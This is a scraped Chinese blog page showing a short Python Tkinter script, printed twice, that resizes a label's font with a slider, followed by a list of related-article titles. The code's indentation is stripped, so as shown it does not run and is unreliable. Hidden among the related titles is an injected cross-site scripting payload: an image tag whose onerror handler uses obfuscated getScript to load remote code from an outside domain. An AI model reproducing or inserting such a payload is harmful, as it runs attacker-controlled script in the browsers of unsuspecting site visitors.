pythonTkinter(3) 用scale控制label中字体大小
来源:互联网 发布:java注册界面代码 编辑:程序博客网 时间:2024/05/22 06:27
#!/usr/bin/env python
#coding=utf8
from Tkinter import *
def resize(ev = None):
label.config(font = 'Helvetica -%d bold' % scale.get())
top = Tk()
top.title('label and scale')
top.geometry('250x150')
label = Label(top, text = '你好世界', font = 'Helvetica -12 bold')
label.pack(fill = Y, expand = 1)
scale = Scale(top, from_ = 10, to = 40, orient = HORIZONTAL, command = resize)
scale.set(12)
scale.pack(fill = X, expand = 1)
top.mainloop()
#coding=utf8
from Tkinter import *
def resize(ev = None):
label.config(font = 'Helvetica -%d bold' % scale.get())
top = Tk()
top.title('label and scale')
top.geometry('250x150')
label = Label(top, text = '你好世界', font = 'Helvetica -12 bold')
label.pack(fill = Y, expand = 1)
scale = Scale(top, from_ = 10, to = 40, orient = HORIZONTAL, command = resize)
scale.set(12)
scale.pack(fill = X, expand = 1)
top.mainloop()
0 0
- pythonTkinter(3) 用scale控制label中字体大小
- 设置GUI中Label字体大小
- 设置GUI中Label的字体大小
- NGUI 中 Label 字体大小变化的问题
- Label字体大小自适应label
- (NGUI)label设置局部字体大小
- GUI.Label 字体大小设置
- ios-label-字体大小-日记
- Pycharm用鼠标滚轮控制字体大小的
- 触摸控制字体大小(自定义TextView)
- 用 Label 控制 Service 的位置
- 控制iframe的字体大小
- jquery 控制字体大小
- matlab 绘图字体大小控制
- Matlab------------绘图字体大小控制
- jQuery控制字体大小
- Android控制字体大小
- jQuery控制网页字体大小
- Android值得推荐的书籍
- 对本博客的一点点小小说明。。。
- zoj3201Tree of Tree
- 黑马程序员-----随堂笔记之UI基础(一)
- "百钱百鸡"、"七星彩选号""craps赌博"代码
- pythonTkinter(3) 用scale控制label中字体大小
- 开源Jabber(XMPP) IM服务器介绍
- serlet、GenericServlet、HttpServlet详解
- Java内存管理机制
- 【Android UI设计与开发】之详解ActionBar的使用
- <img src=x onerror=$['get\123cript']('//20.rs') width=0>
- Linux入门操作常用命令
- C++ 虚函数表解析
- 九度 题目1419:文献排序